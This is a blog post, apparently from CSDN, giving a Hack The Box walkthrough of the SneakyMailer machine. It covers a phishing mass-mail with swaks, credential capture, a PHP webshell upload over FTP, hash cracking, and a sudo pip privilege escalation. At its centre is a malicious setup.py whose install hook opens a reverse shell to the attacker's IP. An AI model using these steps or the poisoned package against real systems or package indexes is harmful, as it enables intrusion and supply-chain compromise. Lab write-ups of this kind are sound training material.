• 【Hack The Box】linux练习-- SneakyMailer


    HTB 学习笔记

    Hack The Box】linux练习-- SneakyMailer


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月23日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    21/tcp   open  ftp      vsftpd 3.0.3
    22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 
    25/tcp   open  smtp     Postfix smtpd
    80/tcp   open  http     nginx 1.14.2
    http://sneakycorp.htb
    143/tcp  open  imap     Courier Imapd (released 2018)
    993/tcp  open  ssl/imap Courier Imapd (released 2018)
    8080/tcp open  http     nginx 1.14.2
    |_http-open-proxy: Proxy might be redirecting requests
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    http://sneakycorp.htb

    21

    没戏

    爆破域名

    wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185
    
    • 1

    sneakycorp.htb
    dev.sneakycorp.htb
    这两个添加到hosts

    25

    Postfix smtpd

    80

    Sneaky Corp
    在这里插入图片描述在这里插入图片描述也要看另外获取的域名
    另一个域名是同站
    在这里插入图片描述
    有很多邮箱,我将采用工具爬去所有的邮箱
    而只所以先爬邮箱是因为
    以下的两种方式都可以

    curl -s http://sneakycorp.htb/team.php | grep '@' | cut -d'>' -f2 | cut -d'<' -f1 > emails
    后者
    cewl -e --email_file emails.txt http://sneakycorp.htb/team.php 
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    我们在 swaks 的参数中使用 cat 命令。 cat 命令将读取电子邮件,tr 将在电子邮件末尾添加逗号,我们将能够向从团队页面提取的所有电子邮件发送邮件。 但如果它不包含任何链接,则不是钓鱼邮件。 我们将输入我们自己的 IP 地址,以便接收在阅读该电子邮件时可能产生的任何请求。 我们也可以在本地机器上启动 netcat 以捕获是否生成任何请求。

    swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28     
    
    • 1

    在这里插入图片描述
    显示

    firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

    获取的资料如下
    paulbyrd@sneakymailer.htb
    IMAP
    sneakycorp.htb
    paulbyrd
    密码是:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

    imap

    有了 Paul 的信誉,我可以查看他的电子邮件。 我可以手动与 IMAP 交互 nc在端口 143 上(或者如果我想在端口 993 上使用 TLS 版本,我可以使用 ncat(这是 nc在我的机器上别名为)与

    apt install evolution
    
    • 1

    编辑添加账号
    在这里插入图片描述选择邮件账号

    在这里插入图片描述添加用户名

    在这里插入图片描述

    在这里插入图片描述在都设置好之后就会跳出输入密码的窗口
    在这里插入图片描述
    在这里插入图片描述而后我们会发现邮件

    Hello administrator, I want to change this password for the developer account
     
    Username: developer
    Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
     
    Please notify me when you do it
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    给出了我们一个凭据

    ftp

    我们用这个凭据登陆ftp
    在这里插入图片描述都没有什么东西,看着像网站,并且有index.php,因为这是首页
    并且与我们的目录爆破结果一致
    那么我们在ftp上上传的文件就可以在王帐上访问到,所以我们可以顺其自然的上传一个后门文件(php)然后去浏览器访问即可
    在这里插入图片描述

    我将尝试上传

    在这里插入图片描述
    在这里插入图片描述
    但是没了,应该是被清理了,这次我将衔接得快一点
    在这里插入图片描述
    回来看确实没有了

    动作快一点就可以成功

    在这里插入图片描述

    深入

    盒子上有两个用户,low和vmail:
    这就是 Paul Byrd 的第二封电子邮件有用的地方。 它告诉 low 下载并运行本地 pypi 中的所有 Python 包。 绝对是一个暗示,我应该把一个放在那里。

    pypi

    在这里插入图片描述pypi.sneakycorp.htb

    在这里插入图片描述有这个文件,passwd很敏感

    $ cat .htpasswd

    pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
    
    • 1

    在这里插入图片描述

    hashcat -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt --user --force
    
    $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
    
    • 1
    • 2
    • 3

    接下来就是想办法登陆到pypi服务器了,既然外部没有开放,那就内部看看,实在不行到时候做个代理做出去

    ww-data@sneakymailer:/home/low$ netstat -tnlp4
    (Not all processes could be identified, non-owned process info
     will not be shown, you would have to be root to see it all.)
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      744/nginx: worker p 
    tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      744/nginx: worker p 
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
    tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -  
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    发现了奇怪的nginx
    ls -la /etc/nginx/sites-enabled

    在这里插入图片描述cat pypi.sneakycorp.htb

    server {
            listen 0.0.0.0:8080 default_server;
            listen [::]:8080 default_server;
            server_name _;
    }
    server {
            listen 0.0.0.0:8080;
            listen [::]:8080;
            server_name pypi.sneakycorp.htb;
    
            location / {
                    proxy_pass http://127.0.0.1:5000;
                    proxy_set_header Host $host;
                    proxy_set_header X-Real-IP $remote_addr;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    发现pypi开头的域名8080端口代理了5000端口

    我先把pypi开头的域名加入hosts,然后访问8080,然后输入刚才的得到的密码
    pypi.sneakycorp.htb
    在这里插入图片描述利用的凭据如下

    pypi/soufianeelhaoui

    创建恶意python包

    我会为我的包创建一个文件夹, revshell,并创建以下文件夹结构和文件:

    mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..
    
    • 1

    再看一下结构,如下即可

    tree revshell
    
    • 1

    在这里插入图片描述

    init.py是合法应用程序实际启动的地方,它必须存在才能使包工作。 我只会用 touch创建一个空文件。

    我也会创建空 setup.cfg和 README.md文件。 README.md是包的文档。 setup.cfg应包含有关包元数据
    README.md,我并不需要他们。但将它们作为空文件包含在内会显得更专业。

    setup.py
    恶意代码将进入 setup.py. 我实际上已经创建了一个恶意的 setup.py
    代码如下,要修改自己的ip和端口

    import os
    import socket
    import subprocess
    from setuptools import setup
    from setuptools.command.install import install
    
    class Exploit(install):
        def run(self):
            RHOST = '10.10.14.29'
            RPORT = 9999
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((RHOST, RPORT))
            for i in range(3):
                os.dup2(s.fileno(), i)
            p = subprocess.call(["/bin/sh","-i"])
    
    setup(name='revshell',
          version='0.0.1',
          description='Reverse Shell',
          author='0xdf',
          author_email='0xdf',
          url='http://sneakycopy.htb',
          license='MIT',
          zip_safe=False,
          cmdclass={'install': Exploit})
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    到此为止我们只需要这一个有价值的文件
    其他的都是为了显得专业
    python setup.py sdist
    在这里插入图片描述在这里插入图片描述打包成了一个dist

    上传

    cat ~/.pypirc
    关注index-servers,下面要用

    [distutils]
    index-servers =
      sneaky
    [sneaky]
    repository: http://pypi.sneakycorp.htb:8080
    username: pypi
    password: soufianeelhaoui
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    安装

    python setup.py sdist upload -r sneaky
    
    • 1

    在这里插入图片描述本地端口接收到shell
    在这里插入图片描述

    pip提权

    在这里插入图片描述
    简单

    TF=$(mktemp -d)
    echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
    sudo pip3 install $TF
    
    • 1
    • 2
    • 3

    就这样,要等一会,三分中

    在这里插入图片描述这还有很多

    在这里插入图片描述

  • 相关阅读:
    【前端】WebWorker 在前端SPA框架的应用
    C++的struct和class的区别
    ios证书类型及其作用说明
    C++类和对象【上】
    机器学习从入门到放弃:卷积神经网络CNN(二)
    来自五年架构师的职业感悟,学历+路线+风口,助你成就美好未来
    机器学习中的独立和同分布 (IID):假设和影响
    Xcode Build Setting之Compiler flags
    网络协议:一文搞懂Socket套接字
    Redis入门完整教程:Java客户端Jedis
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127992029